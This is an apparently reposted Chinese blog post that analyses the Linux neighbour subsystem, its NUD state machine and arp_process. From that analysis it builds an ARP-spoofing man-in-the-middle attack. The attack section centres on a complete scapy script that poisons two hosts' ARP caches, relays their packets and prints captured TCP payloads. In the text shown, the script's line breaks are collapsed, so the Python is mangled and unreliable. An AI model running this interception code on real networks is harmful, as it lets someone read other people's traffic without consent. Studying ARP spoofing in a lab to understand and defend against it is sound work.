邻居子系统与ARP协议

邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。

其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议

邻居子系统的数据结构

struct neighbour{
....................
}

neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态

struct neighbour_table{
....................
}

每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl

neighbour_table 包含 neighbour

邻居子系统的状态转换

其状态信息是存放在neighbour结构的nud_state字段的

可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。

NUD_NONE:

表示刚刚调用neigh_alloc创建neighbour

NUD_IMCOMPLETE

发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE

NUD_REACHABLE:

表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态

NUD_STALE

在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态

NUD_DELAY

该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。

NUD_PROBE

类似NUD_IMCOMPLETE状态

NUD_FAILED

不可达状态,准备删除该neighbour

各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看

ARP接收处理函数分析

ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中

我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程

当为ARP请求数据包,且能找到到目的地址的路由

如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理

如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址

当为ARP请求数据包,不能找到到目的地址的路由

不做任何处理

当为ARP响应数据包

如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址

中间人攻击原理

通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。

同理,向B中发送ARP请求包,其中源IP地址为A的地址

然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。

使用Python scapy包,实现中间人攻击:

环境

python3

ubuntu 14.04

VMware 虚拟专用网络

代码
#!/usr/bin/python3from scapy.all import *
import threading
import timeclient_ip = "192.168.222.186"
client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"
server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"
my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: # requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) #replysendp(pkt)if packet.op == 2: #replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join()

client_ip 为发送数据的IP

server_ip 为接收数据的IP

参考质料

Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制

https://blog.csdn.net/lickylin/article/details/22228047

转载于:https://www.cnblogs.com/r1ng0/p/9861525.html

从Linux内核角度看中间人攻击(ARP欺骗)并利用Python scapy实现相关推荐

  1. 中间人攻击——ARP欺骗的原理、实战及防御(转载)

    1.1 什么是网关 首先来简单解释一下什么是网关,网关工作在OSI七层模型中的传输层或者应用层,用于高层协议的不同网络之间的连接,简单地说,网关就好比是一个房间通向另一个房间的一扇门. 1.2 ARP ...

  2. 网络安全 中间人攻击-ARP欺骗 工具:Cain

    两台虚拟机:A和B,A中有工具Cain A是攻击机, B是靶机 首先,在B中使用cmd查看IP地址,注意网关 再查看B的ARP表 都查看完之后,回带有工具的虚拟机A中,打开Cain 下面开始在Cain ...

  3. 1.聊聊Netty那些事儿之从内核角度看IO模型

    从今天开始我们来聊聊Netty的那些事儿,我们都知道Netty是一个高性能异步事件驱动的网络框架. 它的设计异常优雅简洁,扩展性高,稳定性强.拥有非常详细完整的用户文档. 同时内置了很多非常有用的模块 ...

  4. 聊聊Netty那些事儿之从内核角度看IO模型

    从今天开始我们来聊聊Netty的那些事儿,我们都知道Netty是一个高性能异步事件驱动的网络框架. 它的设计异常优雅简洁,扩展性高,稳定性强.拥有非常详细完整的用户文档. 同时内置了很多非常有用的模块 ...

  5. 看漫画,学Linux内核!看完明白小企鹅们在干啥了吧?

    今天,为大家解读一幅来自 TurnOff.us 的漫画 "InSide The Linux Kernel".TurnOff.us 是一个极客漫画网站,作者Daniel Stori ...

  6. 攻击linux的samba,Samba 中间人攻击漏洞(CVE-2015-5296)

    Samba 中间人攻击漏洞(CVE-2015-5296) 发布日期:2015-12-19 更新日期:2016-01-01 受影响系统: Samba Samba 4.x-4.1.22 Samba Sam ...

  7. 指定init启动Linux内核,初看linux内核启动过程

    本周的博客依旧依托于一个实验来展开,即跟踪调试linux内核启动的过程,着重分析一下从start_kernel函数开始到init进程开始执行的过程.如有理解不到位地方,望批评指正. 实验环境依旧采用实 ...

  8. linux内核协议栈 邻居协议之 arp 数据包收发处理流程

    目录 前言 1 arp数据包文接收 arp_rcv() 1.1 处理arp请求 arp_process()[核心] 2 arp数据包发送 arp_send() 2.1 arp 数据包构造 arp_cr ...

  9. 局域网内的攻击—Arp欺骗

    0x00:ARP协议 在局域网中,网络中实际传输的是"帧",帧里面是有目标主机的MAC地址的.在以太网中,一个主机要和另一个主机进行直接通信,必须要知道目标主机的MAC地址.MAC ...

最新文章

  1. 计算机osi模型的功能osi,OSI基本参考模型是什么 OSI基本参考模型各层功能介绍【图文】...
  2. 2016计算机有哪些专业知识点,2016计算机专业知识:精选知识点练习(99)
  3. redis 基本类型和命令(一)
  4. [jzoj NOIP2018模拟 11.01]
  5. Spring 连接 PostgreSQL
  6. Kafka源码解析 - 副本迁移任务提交流程
  7. 鸿蒙系统首批更新名单,鸿蒙系统首批升级名单是哪些-鸿蒙系统首批升级名单详细介绍 - 系统家园...
  8. RabbitMQ学习笔记:安装环境
  9. 替换Mac的home brew源
  10. 远程控制电脑的实现方法
  11. 噇字符集linux,gbk编码
  12. mysql字段描述_详细的MySQL字段类型描述
  13. 微信小程序绘制图表(折线图、柱状图)
  14. 大学生心理健康调研报告
  15. SQL server 还原数据库遇到正在使用的解决方法:
  16. android 多媒体播放 MediaSession 框架
  17. 没有密码,如何取消Word文档的只读模式?
  18. android设置wifi蓝牙共享文件,无需互联网或蓝牙即可通过WiFi通过android共享文件...
  19. SIM卡被猫吃了,1860电话录音
  20. PHP毕业设计项目作品源码选题(2)电子商务网上购物商城毕业设计毕设作品开题报告

热门文章

  1. HTML如何做一张李白的静夜思,李白《静夜思》配图赏析
  2. 【Python】Matplotlib画图(七)——线的颜色、点的形状
  3. PCB 设计技巧一百问
  4. 数据类型的基本功能(一)
  5. [办公软件word] 怎么让Worde2019显示所有批注?
  6. 没有mysql不能设置root密码怎么办_无法给MySQL root用户修改密码的解决方法
  7. 快速记忆之简单词语联想记忆
  8. 塞拉菲娜创始人 - 钰儿
  9. 测绘行业如何?从业十年对测绘行业的薄见
  10. 模具工业及其发展趋势